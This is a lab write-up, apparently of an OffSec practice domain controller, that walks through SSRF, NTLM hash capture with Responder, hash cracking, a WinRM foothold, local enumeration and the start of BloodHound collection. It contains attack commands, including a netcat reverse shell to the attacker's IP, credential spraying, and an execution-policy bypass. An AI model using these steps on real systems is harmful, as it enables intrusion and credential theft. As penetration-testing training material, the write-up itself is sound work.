Initial Reconnaissance
To begin, I kicked off a quick port scan using rustscan
to identify which services were live on the target box (192.168.178.165
):
rustscan -a 192.168.178.165
Scan output:
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 125
88/tcp open kerberos-sec syn-ack ttl 125
135/tcp open msrpc syn-ack ttl 125
139/tcp open netbios-ssn syn-ack ttl 125
389/tcp open ldap syn-ack ttl 125
445/tcp open microsoft-ds syn-ack ttl 125
464/tcp open kpasswd5 syn-ack ttl 125
593/tcp open http-rpc-epmap syn-ack ttl 125
636/tcp open ldapssl syn-ack ttl 125
3268/tcp open globalcatLDAP syn-ack ttl 125
3269/tcp open globalcatLDAPssl syn-ack ttl 125
3389/tcp open ms-wbt-server syn-ack ttl 125
5985/tcp open wsman syn-ack ttl 125
8080/tcp open http-proxy syn-ack ttl 125
9389/tcp open adws syn-ack ttl 125
49666/tcp open unknown syn-ack ttl 125
49667/tcp open unknown syn-ack ttl 125
49673/tcp open unknown syn-ack ttl 125
49674/tcp open unknown syn-ack ttl 125
49677/tcp open unknown syn-ack ttl 125
49704/tcp open unknown syn-ack ttl 125
49759/tcp open unknown syn-ack ttl 125
Plenty of ports open, especially ones that typically suggest a Windows domain controller. At this stage, I went for a deeper scan with nmap
to enumerate services and grab version info:
sudo nmap -A -sC -sV -T4 192.168.178.165 -p- --open -v -oN tcp_scan.nmap
Scan results:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-07 02:18:40Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: HEIST
| NetBIOS_Domain_Name: HEIST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: heist.offsec
| DNS_Computer_Name: DC01.heist.offsec
| DNS_Tree_Name: heist.offsec
| Product_Version: 10.0.17763
|_ System_Time: 2025-04-07T02:19:46+00:00
| ssl-cert: Subject: commonName=DC01.heist.offsec
| Issuer: commonName=DC01.heist.offsec
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-02-21T16:53:37
| Not valid after: 2025-08-23T16:53:37
| MD5: 96ec:e820:5c93:d882:998c:dd95:8ef1:00e0
|_SHA-1: bfd9:e838:2f15:4395:615e:f0b8:329a:e033:934e:3b3c
|_ssl-date: 2025-04-07T02:20:24+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open http Werkzeug httpd 2.0.1 (Python 3.9.0)
|_http-title: Super Secure Web Browser
|_http-server-header: Werkzeug/2.0.1 Python/3.9.0
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
49759/tcp open msrpc Microsoft Windows RPC
<SNIP>
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-07T02:19:49
|_ start_date: N/A
The nmap output confirmed what I suspected — this box is running a bunch of domain services, including LDAP, Kerberos, and SMB. The machine is part of a domain called heist.offsec
, and the hostname is DC01
.
It also revealed some interesting HTTP services, including one on port 8080 using Python’s Werkzeug framework. That’ll be worth digging into later.
To cover more ground, I scanned the top 1000 UDP ports too:
nmap -A -sV -sC -sU 192.168.178.165 --script=*enum -oN udp_scan.nmap
Scan output:
PORT STATE SERVICE VERSION
53/udp open domain Simple DNS Plus
|_dns-nsec-enum: Can't determine domain for host 192.168.178.165; use dns-nsec-enum.domains script arg.
|_dns-nsec3-enum: Can't determine domain for host 192.168.178.165; use dns-nsec3-enum.domains script arg.
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-07 02:17:16Z)
123/udp open ntp NTP v3
389/udp open ldap Microsoft Windows Active Directory LDAP (Domain: heist.offsec0., Site: Default-First-Site-Name)
Too many fingerprints match this host to give specific OS details
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
The UDP scan confirmed open ports for DNS, Kerberos, NTP, and LDAP. These are all common on a DC.
Next, I ran gobuster
and nikto
against port 8080 to see if any directories or obvious web vulnerabilities popped up:
gobuster dir -u http://192.168.178.165:8080 -w /usr/share/wordlists/dirb/common.txt
Gobuster
didn’t yield any results, but nikto
flagged a few minor issues like missing headers and an outdated Python version:
nikto -h http://192.168.178.165:8080
└─$ nikto -h http://192.168.178.165:8080
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.178.165
+ Target Hostname: 192.168.178.165
+ Target Port: 8080
+ Start Time: 2025-04-06 22:16:48 (GMT-4)
---------------------------------------------------------------------------
+ Server: Werkzeug/2.0.1 Python/3.9.0
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Python/3.9.0 appears to be outdated (current is at least 3.9.6).
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET .
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8106 requests: 4 error(s) and 5 item(s) reported on remote host
+ End Time: 2025-04-07 01:08:23 (GMT-4) (10295 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Enumerating Services on the Domain Controller
With all those classic domain ports showing up, I figured it was time to check for DNS zone transfers to see if I could scoop up any domain records.
First, I tried with dig
:
dig @192.168.178.165 AXFR heist.offsec
┌──(kali㉿kali)-[~/Heist]
└─$ dig @192.168.178.165 AXFR heist.offsec
; <<>> DiG 9.20.4-4-Debian <<>> @192.168.178.165 AXFR heist.offsec
; (1 server found)
;; global options: +cmd
; Transfer failed.
Unfortunately, that didn’t pan out — zone transfer was denied.
I then gave dnsenum
a go to see if it would uncover anything:
dnsenum 192.168.178.165
┌──(kali㉿kali)-[~/Heist]
└─$ dnsenum 192.168.178.165
dnsenum VERSION:1.3.1
----- 192.168.178.165 -----
Host's addresses:
__________________
Name Servers:
______________
192.168.178.165 NS record query failed: NXDOMAIN
Still no luck — nothing useful was returned. Looks like this domain controller isn’t leaking DNS info the easy way.
Next, I turned my attention to SMB. I attempted anonymous access using both smbclient
and rpcclient
:
smbclient -L 192.168.178.165 -N
rpcclient 192.168.178.165 -N
┌──(kali㉿kali)-[~/Heist]
└─$ smbclient -L 192.168.178.165 -N
session setup failed: NT_STATUS_ACCESS_DENIED
┌──(kali㉿kali)-[~/Heist]
└─$ rpcclient 192.168.178.165 -N
Cannot connect to server. Error was NT_STATUS_LOGON_FAILURE
No joy - access was denied in both cases. Clearly, guest access is locked down.
I then tested LDAP to see if I could pull any details without credentials:
ldapsearch -x -H 192.168.178.165 -b "dc=heist,dc=offsec"
┌──(kali㉿kali)-[~/Heist]
└─$ ldapsearch -x -H ldap://192.168.178.165 -b "dc=heist,dc=offsec"
# extended LDIF
#
# LDAPv3
# base <dc=heist,dc=offsec> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1
That returned an error saying I needed to bind with a valid user before performing any search. So again, no easy wins here.
At this point, it was clear the usual unauthenticated enumeration paths were all shut. So I decided to shift gears and poke around that webserver running on port 8080.
Exploring the Web Server and Exploiting SSRF with Responder
With no luck on the standard domain enumeration fronts, I turned my attention to the web app running on port 8080. Visiting it in a browser brought up a "Super Secure Web Browser" interface, which included a field to enter URLs.
Looking at the page source didn’t reveal much — no comments, no hidden fields, no JavaScript shenanigans. But the way the app functioned got me thinking it could be vulnerable to SSRF (Server-Side Request Forgery).

To test that theory, I spun up a Python HTTP server on my Kali box:
python3 -m http.server 8000
Then I entered my Kali box’s IP and port into the URL field of the web interface — and bingo! The server made a request to my machine. That confirmed the app is vulnerable to SSRF.
SSRF flaws can be super handy — they let you make the target server send requests on your behalf. Sometimes, this can expose internal services or leak sensitive info.


Clicking on one of my hosted files causes the app to treat it like a subdirectory of the main site — for instance, clicking on cmdasp.aspx
tries to load 192.168.178.165:8080/cmdasp.aspx
, which isn’t a valid page.

However, if I include the filename directly in the URL input, the server does fetch and display the file’s contents — but it doesn’t actually run it.


So direct command execution was out, but there was another angle to try — tricking the server into authenticating with a rogue listener.
That’s where Responder comes in. By setting it up to spoof a WPAD proxy server, I could try to capture NTLM credentials when the web server makes a request to an unrecognised domain.
Here’s how I set it up:
sudo responder -I tun0 -wv
Then I stopped my Python server on port 80 and submitted a request to my Kali IP using the vulnerable search bar.

After sending the request, our Responder response contains an NTLMv2 hash for the user enox
.
[HTTP] Sending NTLM authentication request to 192.168.178.165
[HTTP] GET request from: ::ffff:192.168.178.165 URL: /
[HTTP] NTLMv2 Client : 192.168.178.165
[HTTP] NTLMv2 Username : HEIST\enox
[HTTP] NTLMv2 Hash : enox::HEIST:ebaf55e488a6e2fb:45EF2F213247BE45DCE91A4CBE499AFE:010100000000000027CFEA6A5DA7DB0131D829C2A06BC5B000000000020008004A0047004700570001001E00570049004E002D004A004E004B005100550055004D00330052004A005500040014004A004700470057002E004C004F00430041004C0003003400570049004E002D004A004E004B005100550055004D00330052004A0055002E004A004700470057002E004C004F00430041004C00050014004A004700470057002E004C004F00430041004C00080030003000000000000000000000000030000098BF0D68BEA36AC69F27F02B4B5580B35A970EAA12F2C2D466BA29E944A8C58C0A001000000000000000000000000000000000000900260048005400540050002F003100390032002E003100360038002E00340035002E003100390039000000000000000000

Cracking the NetNTLMv2 Hash with Hashcat
After capturing the NTLMv2 hash for the enox
user through Responder, I saved the full hash string into a file named hash.txt
for cracking.
Before launching into the attack, I confirmed the correct Hashcat mode for NTLMv2 hashes by running:
hashcat --help | grep -i "NTLMv2"
┌──(kali㉿kali)
└─$ hashcat --help | grep -i "NTLMv2"
5600 | NetNTLMv2 | Network Protocol
27100 | NetNTLMv2 (NT) | Network Protocol
This returned mode 5600
, which is what we’ll use for NetNTLMv2.
I then ran the following command to attempt cracking it using the well-known rockyou.txt
wordlist:
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -o cracked.txt
Hashcat quickly cracked the password — the output file revealed the credentials as:
- Username:
enox
- Password:
california
└─$ cat cracked.txt
ENOX::HEIST:ebaf55e488a6e2fb:45ef2f213247be45dce91a4cbe499afe:010100000000000027cfea6a5da7db0131d829c2a06bc5b000000000020008004a0047004700570001001e00570049004e002d004a004e004b005100550055004d00330052004a005500040014004a004700470057002e004c004f00430041004c0003003400570049004e002d004a004e004b005100550055004d00330052004a0055002e004a004700470057002e004c004f00430041004c00050014004a004700470057002e004c004f00430041004c00080030003000000000000000000000000030000098bf0d68bea36ac69f27f02b4b5580b35a970eaa12f2c2d466ba29e944a8c58c0a001000000000000000000000000000000000000900260048005400540050002f003100390032002e003100360038002e00340035002e003100390039000000000000000000:california
At this point, I began building a user and password list for use in other enumeration tools. I added enox
as well as common domain accounts like administrator
and krbtgt
to a users.txt
file. Likewise, I started a passwords.txt
with california
.
This list would help with spraying credentials across various services later — and potentially spot any password reuse by the administrator.
──(kali㉿kali)-[~/Heist]
└─$ cat users.txt
enox
administrator
krbtgt
┌──(kali㉿kali)-[~/Heist]
└─$ cat passwords.txt
california
Validating Access with CrackMapExec and Gaining a Foothold via WinRM
Armed with a working username and password, I used CrackMapExec (CME) — or in my case, the nxc
wrapper — to test access across available services on the target host.
I first tested SMB to see if the enox
credentials granted any useful access:
nxc smb 192.168.178.165 -u users.txt -p passwords.txt --continue-on-success
The credentials were accepted, but I didn’t get the “Pwn3d!” message, which indicates administrative-level access. So while enox
could authenticate over SMB, the account didn’t have sufficient privileges to be used for command execution or a shell.
I then tried WinRM, which is commonly used for remote management and can provide a solid foothold if the user is a member of the appropriate group:
nxc winrm 192.168.178.165 -u users.txt -p passwords.txt --continue-on-success

This time, I got the result I was hoping for — “Pwn3d!” showed up in the output, confirming that the enox
account had remote access via WinRM.
With that confirmed, I proceeded to establish a session using Evil-WinRM, a powerful post-exploitation tool for Windows targets:
evil-winrm -i 192.168.178.165 -u enox -p california
┌──(kali㉿kali)-[~/Heist]
└─$ evil-winrm -i 192.168.178.165 -u enox -p california
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\enox\Documents> whoami
heist\enox

I now had an interactive PowerShell session running as enox
, giving me initial access to the domain controller. From here, I could begin local enumeration and plan the next phase of privilege escalation.
Capturing the User Flag
The user flag local.txt is located in enox user’s Desktop:
*Evil-WinRM* PS C:\Users\enox\Desktop> ls
Directory: C:\Users\enox\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/20/2021 4:12 AM application
-a---- 4/6/2025 4:43 PM 34 local.txt
-a---- 5/27/2021 7:03 AM 239 todo.txt
*Evil-WinRM* PS C:\Users\enox\Desktop> cat local.txt
3d4f65563e01818b7064c78874c6f37d
*Evil-WinRM* PS C:\Users\enox\Desktop> ipconfig /all
Windows IP Configuration
Host Name . . . . . . . . . . . . : DC01
Primary Dns Suffix . . . . . . . : heist.offsec
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : heist.offsec
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-AB-2E-F1
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::c8c0:44ea:8561:208%7(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.178.165(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.178.254
DHCPv6 IAID . . . . . . . . . . . : 117461078
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-28-88-61-00-00-50-56-8A-53-00
DNS Servers . . . . . . . . . . . : 192.168.178.254
NetBIOS over Tcpip. . . . . . . . : Enabled

Local Enumeration: User Privileges, Group Memberships, and Environment Checks
With initial access confirmed, I began a round of manual enumeration to understand the system, the domain context, and any potential privilege escalation paths available to the current user, enox
.
Checking User Privileges
First, I ran whoami /priv
to see which Windows privileges were enabled for this user:
whoami /priv
*Evil-WinRM* PS C:\Users\enox\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
This showed a couple of standard privileges, and one slightly more interesting one — SeMachineAccountPrivilege
, which allows the user to join machines to the domain. While this isn’t immediately exploitable in most default setups, it’s something to note for later.
Group Memberships
Next, I checked which local and domain groups enox
belonged to:
net user enox
*Evil-WinRM* PS C:\Users\enox\Documents> net user enox
User name enox
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 8/31/2021 6:09:05 AM
Password expires Never
Password changeable 9/1/2021 6:09:05 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2/22/2025 9:54:16 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Web Admins *Domain Users
The command completed successfully.

The most notable membership here is Web Admins. That might be significant — especially if there are delegated privileges tied to web server administration or Group Managed Service Accounts (gMSAs), which I’d explore later.
Stored Credentials
I then checked for any stored Windows credentials:
cmdkey /list
*Evil-WinRM* PS C:\Users\enox\Documents> cmdkey /list
Currently stored credentials:
* NONE *
No credentials were saved for this user.
Local Administrator Group
I wanted to know who was in the local Administrators group, just in case I could escalate to a known account:
net localgroup administrators
*Evil-WinRM* PS C:\Users\enox\Documents> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.
As expected for a domain controller, no unusual accounts here — just the built-in administrator and privileged domain groups.
File System Recon
I scanned the root of the C: drive for any unusual directories or loose files that might contain credentials or config files:
cmd.exe /c dir /a C:\
Nothing particularly interesting stood out here — just standard system folders and a pagefile.sys
.
*Evil-WinRM* PS C:\Users\enox\Documents> cmd.exe /c dir /a C:\
Volume in drive C has no label.
Volume Serial Number is 5C30-DCD7
Directory of C:\
05/28/2021 06:04 AM <DIR> $GetCurrent
07/20/2021 04:25 AM <DIR> $Recycle.Bin
05/28/2021 10:47 AM <JUNCTION> Documents and Settings [C:\Users]
04/06/2025 04:43 PM 2,695 output.txt
02/22/2025 09:53 AM 402,653,184 pagefile.sys
05/28/2021 04:20 AM <DIR> PerfLogs
07/20/2021 04:20 AM <DIR> Program Files
05/28/2021 03:53 AM <DIR> Program Files (x86)
07/20/2021 04:16 AM <DIR> ProgramData
05/28/2021 10:47 AM <DIR> Recovery
07/20/2021 04:00 AM <DIR> System Volume Information
09/14/2021 08:27 AM <DIR> Users
09/14/2021 08:12 AM <DIR> Windows
05/28/2021 06:04 AM <DIR> Windows10Upgrade
2 File(s) 402,655,879 bytes
12 Dir(s) 13,357,891,584 bytes free
I also listed contents under Program Files
and Program Files (x86)
to see if there were any third-party tools or services installed:
ls "C:\Program Files"
ls "C:\Program Files (x86)"
*Evil-WinRM* PS C:\> ls "program files"
Directory: C:\program files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/28/2021 6:05 AM Common Files
d----- 5/28/2021 4:21 AM internet explorer
d----- 7/20/2021 4:20 AM nssm-2.24
d----- 7/20/2021 4:14 AM Python39
d----- 5/28/2021 6:06 AM VMware
d-r--- 5/28/2021 4:32 AM Windows Defender
d----- 6/30/2021 10:02 AM Windows Defender Advanced Threat Protection
d----- 7/15/2021 12:28 PM Windows Mail
d----- 5/28/2021 4:21 AM Windows Media Player
d----- 9/15/2018 12:19 AM Windows Multimedia Platform
d----- 9/15/2018 12:28 AM windows nt
d----- 5/28/2021 4:21 AM Windows Photo Viewer
d----- 9/15/2018 12:19 AM Windows Portable Devices
d----- 9/15/2018 12:19 AM Windows Security
d----- 9/15/2018 12:19 AM WindowsPowerShell
One item stood out in Program Files
: a directory called nssm-2.24
. This is the Non-Sucking Service Manager, a utility for running custom services on Windows. While it’s often used in CTFs to misconfigure or abuse service permissions, I didn’t have write access to that directory or its binaries — so no easy wins there.
Checking permissions on the nssm executable and directory shows that I only have Read/Execute permissions and cannot write (no W, M, or F).
icacls "C:\program files\nssm-2.24\win64\nssm.exe"
icacls "C:\program files\nssm-2.24\win64"
*Evil-WinRM* PS C:\> icacls "C:\program files\nssm-2.24\win64\nssm.exe"
C:\program files\nssm-2.24\win64\nssm.exe Everyone:(RX)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\> icacls "C:\program files\nssm-2.24\win64"
C:\program files\nssm-2.24\win64 Everyone:(RX)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)

Network Ports and Internal Services
I checked which ports were open internally, just in case there were any services running that weren’t exposed externally:
netstat -ano

The results lined up with what I’d already seen from external scans — no new services or internal-only ports revealed.
Identifying svc_apache$
and Preparing for Domain Enumeration
While poking around user profiles, I noticed an account that hadn't shown up earlier when enumerating users:
ls C:\Users
*Evil-WinRM* PS C:\users> ls
Directory: C:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/20/2021 4:25 AM Administrator
d----- 7/20/2021 4:17 AM enox
d-r--- 5/28/2021 3:53 AM Public
d----- 9/14/2021 8:27 AM svc_apache$
The $
at the end of the name indicates this is a hidden domain account, and the svc_
prefix strongly suggests it’s a service account. These are often used to run background processes or services and can sometimes have elevated permissions — especially in domain environments.
Validating the Account with Kerbrute
To confirm whether this account was valid in the domain, I added svc_apache$
to my users.txt
file and ran a user enumeration check using kerbrute
:
/kerbrute userenum --dc 192.168.178.165 -d heist.offsec ~/Heist/users.txt
┌──(kali㉿kali)-[~/Tools]
└─$ ./kerbrute userenum --dc 192.168.178.165 -d heist.offsec ~/Heist/users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 04/07/25 - Ronnie Flathers @ropnop
2025/04/07 02:03:31 > Using KDC(s):
2025/04/07 02:03:31 > 192.168.178.165:88
2025/04/07 02:03:32 > [+] VALID USERNAME: svc_apache$@heist.offsec
2025/04/07 02:03:32 > [+] VALID USERNAME: enox@heist.offsec
2025/04/07 02:03:32 > [+] VALID USERNAME: administrator@heist.offsec
2025/04/07 02:03:32 > Done! Tested 4 usernames (3 valid) in 0.135 seconds

So we now know the account exists — and since it's hidden from tools like net user
, it's likely a domain Group Managed Service Account (gMSA).
A Hint from the Desktop
Backtracking a bit, I recalled there was a todo.txt
file on enox
’s Desktop. Reading through it again, one line now stood out:
- Use group managed service account for apache [DONE]
This confirmed it — the svc_apache$
account was not just a random service account, but a gMSA, which meant its credentials were centrally managed by the domain — and that opened up a potential path for privilege escalation.
Privilege Escalation Checks with PowerUp and WinPEAS
After completing some initial manual checks, I uploaded PowerUp.ps1 to the victim using evil-winrm
to help automate local privilege escalation enumeration.
In my setup, I had already appended the Invoke-AllChecks
command to the end of the script, so it would run automatically when executed in memory.
Running PowerUp
upload PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
*Evil-WinRM* PS C:\Users\enox\Documents> upload PowerUp.ps1
*Evil-WinRM* PS C:\Users\enox\Documents> powershell -ep bypass
<SNIP>
*Evil-WinRM* PS C:\Users\enox\Documents> . .\PowerUp.ps1
Access denied
At C:\Users\enox\Documents\PowerUp.ps1:2066 char:21
+ $VulnServices = Get-WmiObject -Class win32_service | Where-Object ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [Get-WmiObject], ManagementException
+ FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand
Access denied
At C:\Users\enox\Documents\PowerUp.ps1:2133 char:5
+ Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pat ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [Get-WmiObject], ManagementException
+ FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectCommand
Cannot open Service Control Manager on computer '.'. This operation might require other privileges.
At C:\Users\enox\Documents\PowerUp.ps1:2189 char:5
+ Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeCo ...
+ ~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Get-Service], InvalidOperationException
+ FullyQualifiedErrorId : System.InvalidOperationException,Microsoft.PowerShell.Commands.GetServiceCommand
ModifiablePath : C:\Users\enox\AppData\Local\Microsoft\WindowsApps
IdentityReference : HEIST\enox
Permissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH% : C:\Users\enox\AppData\Local\Microsoft\WindowsApps
Name : C:\Users\enox\AppData\Local\Microsoft\WindowsApps
Check : %PATH% .dll Hijacks
AbuseFunction : Write-HijackDll -DllPath 'C:\Users\enox\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'
However, during execution, several checks failed with Access Denied errors. This happened when the script attempted to use Get-WmiObject
and Get-Service
, both of which require administrative privileges to interact with the Service Control Manager.
These errors confirmed that the current user (HEIST\enox
) lacked the required privileges to query or modify service configurations.
Identified DLL Hijack Opportunity
Despite the limited privileges, PowerUp did uncover one possible escalation path — a DLL hijack vulnerability.
It found that the %PATH%
environment variable included a writable folder:
C:\Users\enox\AppData\Local\Microsoft\WindowsApps
The current user had modify rights on this directory, and PowerUp suggested that placing a malicious DLL there — specifically named wlbsctrl.dll
— could potentially lead to code execution if the DLL is loaded by a service or process on startup.
Here’s the relevant PowerUp output:
Check : %PATH% .dll Hijacks
AbuseFunction : Write-HijackDll -DllPath 'C:\Users\enox\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'
While interesting, this required further investigation — I’d need to identify a binary or auto-starting process that attempts to load that specific DLL. Without a known trigger, this vector couldn’t be used just yet.
Running WinPEAS
To supplement PowerUp, I also uploaded and ran WinPEAS, a popular Windows post-exploitation enumeration tool:
upload winpeas.exe
.\winpeas.exe
Unfortunately, WinPEAS didn’t uncover anything especially useful — no easily misconfigured services, unquoted service paths, or credential leaks.
Conclusion
At this stage, local privilege escalation as enox
didn’t look promising. With limited access and nothing immediately exploitable, I decided to pivot back into domain-level enumeration — particularly with the svc_apache$
account, which seemed far more promising based on earlier findings.
Domain Enumeration Using BloodHound and Extracting gMSA Credentials
Now that I had identified svc_apache$
as a potential Group Managed Service Account (gMSA), I moved on to domain enumeration to confirm it — and to explore what privileges it might expose.
Setting Up SharpHound and BloodHound
To properly map out the domain, I used SharpHound, the data collection tool for BloodHound.
Since evil-winrm
is great for basic enumeration but not ideal for large data collection, I opted to get a fully interactive shell. I uploaded nc.exe
and established a reverse shell:
On the victim (within evil-winrm
):
upload SharpHound.ps1
upload nc.exe
.\nc.exe 192.168.45.235 443 -e cmd
On my Kali box:
sudo rlwrap nc -lnvp 443
With the reverse shell established, I dropped into PowerShell, bypassed execution policy, and imported SharpHound:
powershell -ep bypass
. .\SharpHound.ps1
┌──(kali㉿kali)-[~/Tools]
└─$ sudo rlwrap nc -lnvp 443
[sudo] password for kali:
listening on [any] 443 ...
connect to [192.168.45.235] from (UNKNOWN) [192.168.178.165] 59570
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\enox\Documents>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\enox\Documents> powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\enox\Documents> . .\SharpHound.ps1
. .\SharpHound.ps1
Then I ran:
Invoke-BloodHound -CollectionMethod All
PS C:\Users\enox\Documents> Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All
2025-04-07T00:30:11.8256697-07:00|INFORMATION|This version of SharpHound is compatible with the 4.3.1 Release of BloodHound
2025-04-07T00:30:11.9350439-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-04-07T00:30:11.9506739-07:00|INFORMATION|Initializing SharpHound at 12:30 AM on 4/7/2025
2025-04-07T00:30:12.1069243-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for heist.offsec : DC01.heist.offsec
2025-04-07T00:30:12.1381759-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2025-04-07T00:30:12.2162954-07:00|INFORMATION|Beginning LDAP search for heist.offsec
2025-04-07T00:30:12.2475461-07:00|INFORMATION|Producer has finished, closing LDAP channel
2025-04-07T00:30:12.2475461-07:00|INFORMATION|LDAP channel closed, waiting for consumers
